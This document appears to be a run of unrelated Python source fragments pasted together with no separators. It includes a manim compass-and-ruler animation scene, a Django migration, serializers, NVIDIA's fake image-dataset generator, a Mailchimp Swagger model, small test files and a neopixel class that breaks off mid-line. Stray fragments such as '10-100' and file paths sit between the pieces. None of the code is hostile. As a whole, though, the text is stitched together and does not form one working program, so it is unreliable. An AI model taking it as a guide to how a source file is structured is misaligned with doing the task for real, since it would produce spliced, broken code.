Rectangle(**self.ruler_config).set_opacity(0)) self.dot = Dot(**self.dot_config) self.cp.move_to(UP * 10) if self.add_ruler: self.ruler.move_to(DOWN * 10) self.add(self.ruler) self.add(self.cp) self.temp_points = [] def construct(self): self.add(self.cp) self.play(self.cp.move_niddle_tip_to, ORIGIN, run_time=1) self.wait(0.3) self.set_span(3.6, run_time=1, rate_func=smooth) self.wait(0.5) self.set_compass(DL * 0.5, UR * 0.5, run_time=1, rate_func=there_and_back) arc = Arc(color=GREY_E) self.set_compass_to_draw_arc(arc) self.draw_arc_by_compass(arc) self.wait() def set_span(self, s, run_time=1, rate_func=smooth): s_old = self.cp.get_span() n = int(run_time * self.camera.frame_rate) dt = 1/self.camera.frame_rate t_series = np.linspace(1, n, n)/n # s_series = s_old + rate_func(t_series) * (s - s_old) s_series = [s_old + rate_func(t_series[i]) * (s - s_old) for i in range(n)] for i in range(n): self.cp.set_span(s_series[i]) self.wait(dt) def set_compass_direction(self, start, end, run_time=1, rate_func=smooth): vect = end - start a = np.angle(R3_to_complex(vect)) c_old, p_old = self.cp.get_niddle_tip(), self.cp.get_pen_tip() a_old = np.angle(R3_to_complex(p_old - c_old)) n = int(run_time * self.camera.frame_rate) dt = 1/self.camera.frame_rate t_series = np.linspace(1, n, n)/n c_series = [c_old + rate_func(t_series[i]) * (start - c_old) for i in range(n)] delta_a = (a - a_old)/n for i in range(n): self.bring_to_front(self.cp) self.cp.move_niddle_tip_to(c_series[i]) self.cp.rotate_about_niddle_tip(delta_a) self.wait(dt) def set_compass(self, center, pen_tip, run_time=1, rate_func=smooth, emphasize_dot=False): if emphasize_dot: run_time -= 0.15 c_old, p_old = self.cp.get_niddle_tip(), self.cp.get_pen_tip() n = int(run_time * self.camera.frame_rate) dt = 1/self.camera.frame_rate t_series = np.linspace(1, n, n)/n # s_series = s_old + rate_func(t_series) * (s - s_old) c_series = [c_old + rate_func(t_series[i]) * (center - c_old) for i in range(n)] p_series = [p_old + rate_func(t_series[i]) * (pen_tip - p_old) for i in range(n)] for i in range(n): self.bring_to_front(self.cp) self.cp.set_compass(c_series[i], p_series[i]) self.wait(dt) if emphasize_dot: self.emphasize_dot([center, pen_tip], run_time=0.15) def set_compass_(self, center, pen_tip, adjust_angle=0, run_time=1, rate_func=smooth, emphasize_dot=False): vect = center - pen_tip a = np.angle(R3_to_complex(vect)) + adjust_angle s = get_norm(vect) c_old, p_old, s_old = self.cp.get_niddle_tip(), self.cp.get_pen_tip(), self.cp.get_span() a_old = np.angle(R3_to_complex(p_old - c_old)) if emphasize_dot: run_time -= 0.15 n = int(run_time * self.camera.frame_rate) dt = 1/self.camera.frame_rate t_series = np.linspace(1, n, n)/n c_series = [c_old + rate_func(t_series[i]) * (center - c_old) for i in range(n)] delta_a = (a - a_old)/n s_series = [s_old + rate_func(t_series[i]) * (s - s_old) for i in range(n)] for i in range(n): self.bring_to_front(self.cp) self.cp.move_niddle_tip_to(c_series[i]) self.cp.rotate_about_niddle_tip(delta_a) self.cp.set_span(s_series[i]) self.wait(dt) if emphasize_dot: self.emphasize_dot([center, pen_tip], run_time=0.15) def set_compass_to_draw_arc(self, arc, **kwargs): self.set_compass(arc.arc_center, arc.get_start(), **kwargs) def set_compass_to_draw_arc_(self, arc, **kwargs): self.set_compass_(arc.arc_center, arc.get_start(), **kwargs) def draw_arc_by_compass(self, arc, is_prepared=True, run_time=1, rate_func=smooth, reverse=False, add_center=False, **kwargs): self.bring_to_front(self.cp) if not is_prepared: self.set_compass_to_draw_arc(arc, run_time=0.5) theta = arc.angle if not reverse else -1 * arc.angle self.play(Rotating(self.cp, angle=theta, about_point=self.cp.get_niddle_tip()), ShowCreation(arc), rate_func=rate_func, run_time=run_time) if add_center: d = Dot(self.cp.get_niddle_tip(), **self.dot_config).scale(0.5) self.temp_points.append(d) self.add(d) def emphasize_dot(self, pos, add_dot=False, size=1.2, run_time=0.2, **kwargs): if type(pos) == list: d = VGroup(*[Dot(pos[i], radius=size/2, color=GREY_C, fill_opacity=0.25).scale(0.25) for i in range(len(pos))]) else: d = Dot(pos, radius=size/2, color=GREY_C, fill_opacity=0.25).scale(0.25) self.add(d) if type(pos) == list: self.play(d[0].scale, 4, d[1].scale, 4, rate_func=linear, run_time=run_time) else: self.play(d.scale, 4, rate_func=linear, run_time=run_time) self.remove(d) if add_dot: if type(pos) == list: dot = VGroup(*[Dot(pos[i],**kwargs) for i in range(len(pos))]) else: dot = Dot(pos, **kwargs) self.add(dot) return dot def set_ruler(self, pos1, pos2, run_time=1, rate_func=smooth): p1, p2 = self.ruler[-1].get_vertices()[1], self.ruler[-1].get_vertices()[0] c12 = (p1 + p2) / 2 center = (pos1 + pos2)/2 self.bring_to_front(self.ruler) self.play(self.ruler.shift, center - c12, run_time=run_time/2, rate_func=rate_func) self.play(Rotating(self.ruler, angle=np.angle(R3_to_complex(pos2 - pos1)) - np.angle(R3_to_complex(p2 - p1)), about_point=center), run_time=run_time/2, rate_func=rate_func) def draw_line(self, pos1, pos2, is_prepared=True, run_time=1.2, rate_func=smooth, pre_time=0.8): if not is_prepared: self.set_ruler(pos1, pos2, run_time=pre_time) self.dot.move_to(pos1) self.emphasize_dot(pos1, run_time=0.15) self.add(self.dot) l = Line(pos1, pos2, **self.line_config) self.play(ShowCreation(l), self.dot.move_to, pos2, run_time=run_time-0.3, rate_func=rate_func) self.emphasize_dot(pos2, run_time=0.15) self.remove(self.dot) return l def draw_line_(self, l, is_prepared=True, run_time=1.2, rate_func=smooth): pos1, pos2 = l.get_start(), l.get_end() if not is_prepared: self.set_ruler(pos1, pos2, run_time=0.5) self.dot.move_to(pos1) self.emphasize_dot(pos1, run_time=0.15) self.add(self.dot) # l = Line(pos1, pos2, **self.line_config) self.play(ShowCreation(l), self.dot.move_to, pos2, run_time=run_time-0.3, rate_func=rate_func) self.emphasize_dot(pos2, run_time=0.15) self.remove(self.dot) return l def put_aside_ruler(self, direction=DOWN, run_time=0.5): self.bring_to_front(self.ruler) self.play(self.ruler.move_to, direction * 15, run_time=run_time) def put_aside_compass(self, direction=DOWN, run_time=0.5): self.bring_to_front(self.cp) self.play(self.cp.move_to, direction * 15, run_time=run_time) def get_length_label(self, p1, p2, text='', reverse_label=False, add_bg=False, bg_color=WHITE): l = Line(p1, p2) b = Brace(l, direction=complex_to_R3(np.exp(1j * (l.get_angle()+PI/2 * (1 -2 * float(reverse_label))))), **self.brace_config) t = Text(text, **self.text_config).scale(0.2) if add_bg: bg = SurroundingRectangle(t, fill_color=bg_color, fill_opacity=0.6, stroke_opacity=0).set_height(t.get_height() + 0.05, stretch=True).set_width(t.get_width() + 0.05, stretch=True) b.put_at_tip(bg, buff=0.0) b.put_at_tip(t, buff=0.05) return b, bg, t else: b.put_at_tip(t, buff=0.05) return b, t def set_compass_and_show_span(self, p1, p2, run_time=1, show_span_time=[0.4, 0.3, 0.9, 0.4], text='', reverse_label=False, add_bg=True, **kwargs): self.set_compass(p1, p2, run_time=run_time, **kwargs) bt = self.get_length_label(p1, p2, text=text, reverse_label=reverse_label, add_bg=add_bg) b, t = bt[0], bt[-1] st = show_span_time self.play(ShowCreation(b), run_time=st[0]) if add_bg: self.add(bt[1]) self.play(FadeIn(t), run_time=st[1]) else: self.play(FadeIn(t), run_time=st[1]) self.wait(st[2]) self.play(FadeOut(VGroup(*bt)), run_time=st[3]) return bt def set_compass_and_show_span_(self, p1, p2, run_time=1, show_span_time=[0.4, 0.3, 0.9, 0.4], text='', reverse_label=False, add_bg=True, **kwargs): self.set_compass_(p1, p2, run_time=run_time, **kwargs) bt = self.get_length_label(p1, p2, text=text, reverse_label=reverse_label) b, t = bt[0], bt[-1] st = show_span_time self.play(ShowCreation(b), run_time=st[0]) if add_bg: self.add(bt[1]) self.play(FadeIn(t), run_time=st[1]) else: self.play(FadeIn(t), run_time=st[1]) self.wait(st[2]) self.play(FadeOut(VGroup(*bt)), run_time=st[3]) return bt def highlight_on(self, *mobjects, to_front=True, stroke_config={'color': '#66CCFF', 'width': 4}, run_time=1, **kwargs): self.highlight = VGroup(*mobjects) self.play(self.highlight.set_stroke, stroke_config, run_time=run_time, **kwargs) if to_front: self.bring_to_front(self.highlight) self.bring_to_front(self.cp, self.ruler) def highlight_off(self, *mobjects): pass def show_arc_info(self, arc, time_list=[0.5, 0.2, 0.3]): c, r, s, a, ps, pe = arc.arc_center, arc.radius, arc.start_angle, arc.angle, arc.get_start(), arc.get_end() d_center = Dot(c, radius=0.08, color=PINK) r1, r2 = DashedLine(c, ps, stroke_width=3.5, stroke_color=PINK), DashedLine(c, pe , stroke_width=3.5, stroke_color=PINK) arc_new = Arc(arc_center=c, radius=r, start_angle=s, angle=a, stroke_width=8, stroke_color=RED) self.play(ShowCreation(arc_new), run_time=time_list[0]) self.play(FadeIn(arc_new), run_time=time_list[1]) self.play(ShowCreation(r1), ShowCreation(r2), run_time=time_list[2]) class CompassAndRulerScene(DrawingScene): # just rename `DrawingScene` pass # Generated by Django 3.0.7 on 2020-07-01 08:53 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('film', '0001_initial'), ] operations = [ migrations.RemoveField( model_name='filmpost', name='image', ), ] from src import ma from src.models.Comments import Comments from marshmallow.validate import Length class CommentSchema(ma.SQLAlchemyAutoSchema): class Meta: model = Comments username = ma.String() post_id = ma.Integer() content = ma.String(required=True, validate=[Length(min=2, max=600)]) comment_schema = CommentSchema() comments_schema = CommentSchema(many=True) #!/usr/bin/env python # Copyright (c) 2020, NVIDIA CORPORATION. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import os import re import numpy from argparse import ArgumentParser, Namespace from PIL import Image from multiprocessing.pool import Pool try: from mxnet.recordio import IRHeader, MXIndexedRecordIO, pack except ImportError: IRHeader = None from time import perf_counter from typing import Generator, List, NoReturn, Optional, Tuple from math import ceil try: from tensorflow.io import TFRecordWriter from tensorflow.train import (BytesList, Example, Feature, Features, Int64List) except ImportError: TFRecordWriter = None STANDARD_IMAGE = 'create-images' TFRECORD = 'create-tfrecord' RECORDIO = 'create-recordio' SUPPORTED_IMAGE_FORMATS = {"jpg": "jpg", "jpeg": "jpg", "bmp": "bmp", "bitmap": "bmp", "png": "png"} def _parse_args() -> Namespace: """ Parse arguments passed to the application. A custom argument parser handles multiple commands and options to launch the desired function. Returns ------- Namespace Returns a ``Namespace`` of all of the arguments that were parsed from the application during runtime. """ message = """ CLI for generating a fake dataset of various quantities at different resolutions. Supported file types: .bmp, .png, and .jpg. Supported record types: TFRecords, and RecordIO. TFRecords requires an external index file creation step. """ parser = ArgumentParser(message) # Required positional command subparser which should be specified first commands = parser.add_subparsers(dest='command', metavar='command') commands_parent = ArgumentParser(add_help=False) # Options specific to record types commands_parent.add_argument('source_path', metavar='source-path', help='Path containing valid input images to ' 'convert to records') commands_parent.add_argument('dest_path', metavar='dest-path', help='Path to save record files to') commands_parent.add_argument('name', help='Name to prepend files with, ' 'such as "sample_record_"') commands_parent.add_argument('--img-per-file', type=int, default=1000) commands.add_parser(TFRECORD, help='Create TFRecords from input images', parents=[commands_parent]) commands.add_parser(RECORDIO, help='Create RecordIO from input images', parents=[commands_parent]) # Options specific to generating standard images standard = commands.add_parser(STANDARD_IMAGE, help='Generate random ' 'images') standard.add_argument('path', help='Path to save images to') standard.add_argument('name', help='Name to prepend files with, such as ' '"sample_image_"') standard.add_argument('image_format', metavar='image-format', help='The ' 'image format to generate', choices=SUPPORTED_IMAGE_FORMATS.keys()) standard.add_argument('--width', help='The image width in pixels', type=int, default=1920) standard.add_argument('--height', help='The image height in pixels', type=int, default=1080) standard.add_argument('--count', help='The number of images to generate', type=int, default=1) standard.add_argument('--seed', help='The seed to use while generating ' 'random image data', type=int, default=0) standard.add_argument('--size', help='Display the first image size and ' 'the directory size for the images', action='store_true') return parser.parse_args() def _try_create_directory(directory: str) -> NoReturn: """ Create a directory if it doesn't exist. Given a name of a directory as a ``string``, a directory should be created with the requested name if and only if it doesn't exist already. If the directory exists, the function will return without any changes. Parameters ---------- directory : string A ``string`` of a path pointing to a directory to attempt to create. """ if not os.path.exists(directory): os.mkdir(directory) def _check_directory_exists(directory: str) -> NoReturn: """ Check if a directory exists. Check if a requested directory exists and raise an error if not. Parameters ---------- directory : string A ``string`` of the requested directory to check. Raises ------ RuntimeError Raises a ``RuntimeError`` if the requested directory does not exist. """ if not os.path.exists(directory): raise RuntimeError('Error: Please specify an input directory which ' 'contains valid images.') def create_images( path: str, name: str, width: int, height: int, count: int, image_format: str, seed: Optional[int] = 0, size: Optional[bool] = False, chunksize: Optional[int] = 64 ) -> NoReturn: """ Randomly generate standard images. Generate random images of standard formats, such as JPG, PNG, and BMP of variable height and width. Images are generated by creating a random numpy array of the requested dimensions and converting the image to the desired format. All images will be saved in the specified directory with each name beginning with the passed ``name`` variable and ending with a counter starting at zero. Parameters ---------- path : string The path to the directory to save images to. The directory will be created if it doesn't exist. name : string A ``string`` to prepend to all filenames, such as `random_image_`. Filenames will end with a counter starting at zero, followed by the file format's extension. width : int The width of the image to generate in pixels. height : int The height of the image to generate in pixels. count : int The number of images to generate. image_format : str The format the images should be saved as. Choices are: {} seed : int (optional) A seed to use for numpy for creating the random image data. Defaults to 0. size : bool (optional) If `True`, will print image size information including the size of the first image and the final directory size. chunksize : int (optional) Specify the number of chunks to divide the requested amount of images into. Higher chunksizes reduce the amount of memory consumed with minor additional overhead. """.format(SUPPORTED_IMAGE_FORMATS.keys()) print('Creating {} {} files located at {} of {}x{} resolution with a base ' 'base filename of {}'.format(count, image_format, path, width, height, name)) _try_create_directory(path) combined_path = os.path.join(path, name) # Expected to yield a thread pool equivalent to the number of CPU cores in # the system. pool = Pool() try: start_time = perf_counter() # NOTE: For very large image counts on memory-constrained systems, this # can stall-out. Either reduce the image count request, or increase the # chunk size. pool.starmap(_image_creation, ((combined_path, width, height, seed, image_format, n) for n in range(count)), chunksize=chunksize) finally: pool.close() pool.join() stop_time = perf_counter() if size: _print_image_information(path) print('Created {} files in {} seconds'.format(count, stop_time-start_time)) def _record_slice( source_path: str, dest_path: str, name: str, image_files: List[str], images_per_file: int, num_of_records: int ) -> Generator[Tuple[str, str, str, List[str], int], None, None]: """ Generate subcomponents for a thread. While creating RecordIO files, a tuple needs to be generated to pass to every thread in a multiprocessing pool. Each tuple corresponds with a unique record file with a new path, name, and subset of images. The subset of images is calculated by taking the first N-images where N = (total images) / (number of records). The next subset begins at N + 1 and so on. Parameters ---------- source_path : string Path to the directory where the input images are stored. dest_path : string Path to the directory where the record files should be saved. Will be created if it does not exist. name : string A ``string`` to prepend to all filenames, such as `random_record_`. Filenames will end with a counter starting at zero, followed by the file format's extension. image_files : list A ``list`` of ``strings`` of the image filenames to use for the record files. images_per_file : int The number of images to include per record file. num_of_records : int The total number of record files to create. Note that one record assumes a record file plus a corresponding index file. Returns ------- Generator Yields a ``tuple`` of objects specific to each record file. The tuple includes the `source_path` as a ``string``, `dest_path` as a ``string``, `name` as a ``string``, a subset of image names from `image_files` as a ``list`` of ``strings``, and a counter for the record file starting at 0 as an ``int``. """ for num in range(num_of_records): subset = num * images_per_file yield (source_path, dest_path, name, image_files[subset:(subset + images_per_file)], num) def create_recordio( source_path: str, dest_path: str, name: str, img_per_file: int ) -> NoReturn: """ Create RecordIO files based on standard images. Generate one or multiple RecordIO records based on standard input images. Records are created by specifying an input path containing standard image files in JPG, PNG, or BMP format, an output directory to save the images to, a name to prepend the records with, and the number of record files to generate. Each record file contains N images where N is the total number of images in the input directory divided by the number of images per record file. Images are pulled sequentially from the input directory and placed into each record. Parameters ---------- source_path : string Path to the directory where the input images are stored. dest_path : string Path to the directory where the record files should be saved. Will be created if it does not exist. name : string A ``string`` to prepend to all filenames, such as `random_record_`. Filenames will end with a counter starting at zero, followed by the file format's extension. images_per_file : int The number of images to include per record file. """ print('Creating RecordIO files at {} from {} targeting {} files per ' 'record with a base filename of {}'.format(dest_path, source_path, img_per_file, name)) if not IRHeader: raise ImportError('MXNet not found! Please install MXNet dependency ' 'using "pip install nvidia-imageinary[\'mxnet\']".') image_files = [] source_path = os.path.abspath(source_path) dest_path = os.path.abspath(dest_path) _check_directory_exists(source_path) _try_create_directory(dest_path) _print_image_information(source_path) for image_name in os.listdir(source_path): if not os.path.isdir(os.path.join(source_path, image_name)): image_files.append(image_name) num_of_records = ceil(len(image_files) / img_per_file) pool = Pool() try: start_time = perf_counter() pool.starmap(_recordio_creation, _record_slice(source_path, dest_path, name, image_files, img_per_file, num_of_records)) finally: pool.close() pool.join() stop_time = perf_counter() print('Completed in {} seconds'.format(stop_time-start_time)) def create_tfrecords( source_path: str, dest_path: str, name: str, img_per_file: int ) -> NoReturn: """ Create TFRecords based on standard images. Generate one or multiple TFRecords based on standard input images. Records are created by specifying an input path containing standard image files in JPG, PNG, or BMP format, an output directory to save the images to, a name to prepend the records with, and the number of record files to generate. Each record file contains N images where N is the total number of images in the input directory divided by the number of images per record file. Images are pulled sequentially from the input directory and placed into each record. Parameters ---------- source_path : string Path to the directory where the input images are stored. dest_path : string Path to the directory where the record files should be saved. Will be created if it does not exist. name : string A ``string`` to prepend to all filenames, such as `random_record_`. Filenames will end with a counter starting at zero. images_per_file : int The number of images to include per record file. """ print('Creating TFRecord files at {} from {} targeting {} files per ' 'TFRecord with a base filename of {}'.format(dest_path, source_path, img_per_file, name)) if not TFRecordWriter: raise ImportError('TensorFlow not found! Please install TensorFlow ' 'dependency using "pip install ' 'nvidia-imageinary[\'tfrecord\']".') _check_directory_exists(source_path) _try_create_directory(dest_path) combined_path = os.path.join(dest_path, name) _print_image_information(source_path) image_count = 0 record = 0 start_time = perf_counter() writer = TFRecordWriter(combined_path + str(record)) for image_name in os.listdir(source_path): image_path = os.path.join(source_path, image_name) if os.path.isdir(image_path): continue image_count += 1 if image_count > img_per_file: image_count = 1 writer.close() record += 1 writer = TFRecordWriter(combined_path + str(record)) with open(image_path, 'rb') as image_file: image = image_file.read() feature = { 'image/encoded': Feature(bytes_list=BytesList(value=[image])), 'image/class/label': Feature(int64_list=Int64List(value=[0])) } tfrecord_entry = Example(features=Features(feature=feature)) writer.write(tfrecord_entry.SerializeToString()) writer.close() stop_time = perf_counter() print('Completed in {} seconds'.format(stop_time-start_time)) def _print_image_information(path: str) -> NoReturn: """ Print the image and directory size. Print the size of the first image in the directory, which is assumed to be a good approximator for the average image size of all images in the directory, as well as the total size of the directory, in bytes. Parameters ---------- path : string The path to the directory where generated images are stored. """ is_first_image = True first_image_size = 0 directory_size = 0 for image_name in os.listdir(path): image_path = os.path.join(path, image_name) if os.path.isdir(image_path): continue directory_size += os.path.getsize(image_path) if is_first_image: first_image_size = directory_size is_first_image = False print('First image size from {}, in bytes: {}'.format(path, first_image_size)) print('Directory {} size, in bytes: {}'.format(path, directory_size)) def _recordio_creation( source_path: str, dest_path: str, name: str, image_files: List[str], n: int ) -> NoReturn: """ Create a RecordIO file based on input images. Given a subset of images, a RecordIO file should be created with a corresponding index file with the given name and counter. Parameters ---------- source_path : string Path to the directory where the input images are stored. dest_path : string Path to the directory where the record files should be saved. Will be created if it does not exist. name : string A ``string`` to prepend the record filename with. image_files : list A ``list`` of ``strings`` of image filenames to be used for the record creation. n : int An ``integer`` of the current count the record file points to, starting at zero. """ combined_path = os.path.join(dest_path, name) regex = re.compile(r'\d+') dataset_rec = combined_path + str(n) + '.rec' dataset_idx = combined_path + str(n) + '.idx' recordio_ds = MXIndexedRecordIO(os.path.join(dest_path, dataset_idx), os.path.join(dest_path, dataset_rec), 'w') for image_name in image_files: image_path = os.path.join(source_path, image_name) image_index = int(regex.findall(image_name)[0]) header = IRHeader(0, 0, image_index, 0) image = open(image_path, "rb").read() packed_image = pack(header, image) recordio_ds.write_idx(image_index, packed_image) recordio_ds.close() def _image_creation( combined_path: str, width: int, height: int, seed: int, image_format: str, n: int ) -> NoReturn: """ Generate a random image. Given a name, dimensions, a seed, and an image format, a random image is generated by creating a numpy array of random data for the specified dimensions and three color channels, then converting the array to an image of the specified format and saving the result to the output directory with the requested name postfixed with with the zero-based image counter and the file extension. Parameters ---------- combined_path : string The full path to the output image file including the requested name as a prefix for the filename. width : int The width of the image to generate in pixels. height : int The height of the image to generate in pixels. image_format : str The format the images should be saved as. n : int The zero-based counter for the image. """ numpy.random.seed(seed + n) a = numpy.random.rand(height, width, 3) * 255 file_ext = SUPPORTED_IMAGE_FORMATS.get(image_format.lower(), 'png') if file_ext == "jpg": im_out = Image.fromarray(a.astype('uint8')).convert('RGB') else: im_out = Image.fromarray(a.astype('uint8')).convert('RGBA') im_out.save('%s%d.%s' % (combined_path, n, file_ext)) def _main() -> NoReturn: """ Randomly generate images or record files. Create standard images or record files using randomized data to be ingested into a deep learning application. """ args = _parse_args() if args.command == STANDARD_IMAGE: create_images(args.path, args.name, args.width, args.height, args.count, args.image_format, args.seed, args.size) elif args.command == TFRECORD: create_tfrecords(args.source_path, args.dest_path, args.name, args.img_per_file) elif args.command == RECORDIO: create_recordio(args.source_path, args.dest_path, args.name, args.img_per_file) import pytest from mixer.backend.django import mixer from django.core.exceptions import ObjectDoesNotExist from django.contrib.auth.models import AnonymousUser from django.test import RequestFactory from .. import schema # We need to do this so that writing to the DB is possible in our tests. pytestmark = pytest.mark.django_db api/character/serializer.py1-10 # coding: utf-8 from rest_framework import serializers from data.models.character import Character class NamesSerializer(serializers.ModelSerializer): class Meta: model = Character fields = ['name'] # coding: utf-8 """ Mailchimp Marketing API No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501 OpenAPI spec version: 3.0.74 Contact: Generated by: https://github.com/swagger-api/swagger-codegen.git """ import pprint import re # noqa: F401 import six class CampaignReports1Timewarp(object): """NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. """ """ Attributes: swagger_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ swagger_types = { 'gmt_offset': 'int', 'opens': 'int', 'last_open': 'datetime', 'unique_opens': 'int', 'clicks': 'int', 'last_click': 'datetime', 'unique_clicks': 'int', 'bounces': 'int' } attribute_map = { 'gmt_offset': 'gmt_offset', 'opens': 'opens', 'last_open': 'last_open', 'unique_opens': 'unique_opens', 'clicks': 'clicks', 'last_click': 'last_click', 'unique_clicks': 'unique_clicks', 'bounces': 'bounces' } def __init__(self, gmt_offset=None, opens=None, last_open=None, unique_opens=None, clicks=None, last_click=None, unique_clicks=None, bounces=None): # noqa: E501 """CampaignReports1Timewarp - a model defined in Swagger""" # noqa: E501 self._gmt_offset = None self._opens = None self._last_open = None self._unique_opens = None self._clicks = None self._last_click = None self._unique_clicks = None self._bounces = None self.discriminator = None if gmt_offset is not None: self.gmt_offset = gmt_offset if opens is not None: self.opens = opens if last_open is not None: self.last_open = last_open if unique_opens is not None: self.unique_opens = unique_opens if clicks is not None: self.clicks = clicks if last_click is not None: self.last_click = last_click if unique_clicks is not None: self.unique_clicks = unique_clicks if bounces is not None: self.bounces = bounces @property def gmt_offset(self): """Gets the gmt_offset of this CampaignReports1Timewarp. # noqa: E501 For campaigns sent with timewarp, the time zone group the member is apart of. # noqa: E501 :return: The gmt_offset of this CampaignReports1Timewarp. # noqa: E501 :rtype: int """ return self._gmt_offset @gmt_offset.setter def gmt_offset(self, gmt_offset): """Sets the gmt_offset of this CampaignReports1Timewarp. For campaigns sent with timewarp, the time zone group the member is apart of. # noqa: E501 :param gmt_offset: The gmt_offset of this CampaignReports1Timewarp. # noqa: E501 :type: int """ self._gmt_offset = gmt_offset @property def opens(self): """Gets the opens of this CampaignReports1Timewarp. # noqa: E501 The number of opens. # noqa: E501 :return: The opens of this CampaignReports1Timewarp. # noqa: E501 :rtype: int """ return self._opens @opens.setter def opens(self, opens): """Sets the opens of this CampaignReports1Timewarp. The number of opens. # noqa: E501 :param opens: The opens of this CampaignReports1Timewarp. # noqa: E501 :type: int """ self._opens = opens @property def last_open(self): """Gets the last_open of this CampaignReports1Timewarp. # noqa: E501 The date and time of the last open in ISO 8601 format. # noqa: E501 :return: The last_open of this CampaignReports1Timewarp. # noqa: E501 :rtype: datetime """ return self._last_open @last_open.setter def last_open(self, last_open): """Sets the last_open of this CampaignReports1Timewarp. The date and time of the last open in ISO 8601 format. # noqa: E501 :param last_open: The last_open of this CampaignReports1Timewarp. # noqa: E501 :type: datetime """ self._last_open = last_open @property def unique_opens(self): """Gets the unique_opens of this CampaignReports1Timewarp. # noqa: E501 The number of unique opens. # noqa: E501 :return: The unique_opens of this CampaignReports1Timewarp. # noqa: E501 :rtype: int """ return self._unique_opens @unique_opens.setter def unique_opens(self, unique_opens): """Sets the unique_opens of this CampaignReports1Timewarp. The number of unique opens. # noqa: E501 :param unique_opens: The unique_opens of this CampaignReports1Timewarp. # noqa: E501 :type: int """ self._unique_opens = unique_opens @property def clicks(self): """Gets the clicks of this CampaignReports1Timewarp. # noqa: E501 The number of clicks. # noqa: E501 :return: The clicks of this CampaignReports1Timewarp. # noqa: E501 :rtype: int """ return self._clicks @clicks.setter def clicks(self, clicks): """Sets the clicks of this CampaignReports1Timewarp. The number of clicks. # noqa: E501 :param clicks: The clicks of this CampaignReports1Timewarp. # noqa: E501 :type: int """ self._clicks = clicks @property def last_click(self): """Gets the last_click of this CampaignReports1Timewarp. # noqa: E501 The date and time of the last click in ISO 8601 format. # noqa: E501 :return: The last_click of this CampaignReports1Timewarp. # noqa: E501 :rtype: datetime """ return self._last_click @last_click.setter def last_click(self, last_click): """Sets the last_click of this CampaignReports1Timewarp. The date and time of the last click in ISO 8601 format. # noqa: E501 :param last_click: The last_click of this CampaignReports1Timewarp. # noqa: E501 :type: datetime """ self._last_click = last_click @property def unique_clicks(self): """Gets the unique_clicks of this CampaignReports1Timewarp. # noqa: E501 The number of unique clicks. # noqa: E501 :return: The unique_clicks of this CampaignReports1Timewarp. # noqa: E501 :rtype: int """ return self._unique_clicks @unique_clicks.setter def unique_clicks(self, unique_clicks): """Sets the unique_clicks of this CampaignReports1Timewarp. The number of unique clicks. # noqa: E501 :param unique_clicks: The unique_clicks of this CampaignReports1Timewarp. # noqa: E501 :type: int """ self._unique_clicks = unique_clicks @property def bounces(self): """Gets the bounces of this CampaignReports1Timewarp. # noqa: E501 The number of bounces. # noqa: E501 :return: The bounces of this CampaignReports1Timewarp. # noqa: E501 :rtype: int """ return self._bounces @bounces.setter def bounces(self, bounces): """Sets the bounces of this CampaignReports1Timewarp. The number of bounces. # noqa: E501 :param bounces: The bounces of this CampaignReports1Timewarp. # noqa: E501 :type: int """ self._bounces = bounces def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.swagger_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value if issubclass(CampaignReports1Timewarp, dict): for key, value in self.items(): result[key] = value return result def to_str(self): """Returns the string representation of the model""" return pprint.pformat(self.to_dict()) def __repr__(self): """For `print` and `pprint`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, CampaignReports1Timewarp): return False return self.__dict__ == other.__dict__ def __ne__(self, other): """Returns true if both objects are not equal""" return not self == other 10-100 from .confusionmatrix import ConfusionMatrix from .metrics import IoU __all__ = ['ConfusionMatrix', 'IoU'] ''' Logic for converting "nested Python objects" to JavaScript-style objects. ''' from typeguard import typechecked from pyconfigurableml._core import run_with_specified_config @run_with_specified_config(__name__) @typechecked def munchify(config, inner_config: bool): ''' Decide (using `inner_config`) whether to apply `munchify_transform` to `config`, and do so if necessary. ''' if inner_config: config = munchify_transform(config) return config def munchify_transform(config): ''' Convert a nested dictionary into a JavaScript-style object (Munch). ''' from munch import DefaultMunch return DefaultMunch.fromDict(config) import unittest class TestRegisterer(unittest.TestCase): def test_registration(self): from reg.registerer import ElsaClient as ec client = ec() res_code = client.register('http://192.168.99.100:8080/registration') self.assertIsNotNone(res_code) self.assertEqual(res_code, 200) def test_registration_defaults(self): from reg.registerer import ElsaClient as ec client = ec() res_code = client.register_with_defaults( 'http://192.168.99.100:8080/registration', 'test-service', 'http://localhost:3000/') self.assertIsNotNone(res_code) self.assertEqual(res_code, 200) print('defaults success.') 10-100 from nornir import InitNornir from random import random import time def my_task(task): time.sleep(random()) print() print(task.host.hostname) print("-" * 12) print("These aren't the droids you're looking for.") print() if __name__ == "__main__": nr = InitNornir(config_file="config.yaml") nr.run(task=my_task) main/ColorRotator.py ''' TODO: -Multithreads ''' from neopixel import * import Colors import Symbols from random import randint BEGIN_BOTTOM_BAR = 56 END_BOTTOM_BAR = 64 class ColorRotator: matrix = None curRed = 0 curGreen = 0 curBlue = 0 random = False savedMatrixRGB = [None] * 64 rotator_binMatrix = [None] * 64 # nextColor does not handle timing. def nextColor(self): self.curBlue = self.curBlue + 127 if self.curBlue > 255: self.curBlue = 0 self.curGreen = self.curGreen + 127 if self.curGreen > 255: self.curGreen = 0 self.curRed = self.curRed + 127 if self.curRed > 255: self.curRed = 0 if self.curBlue == 0 and self.curGreen == 0 and self.curRed == 0: # set Random self.random = True Colors.setRandomColor(self.matrix, self.rotator_binMatrix) else: self.random = False Colors.setSingleColor(self.matrix, self.rotator_binMatrix, Colors.Color(self.curRed, 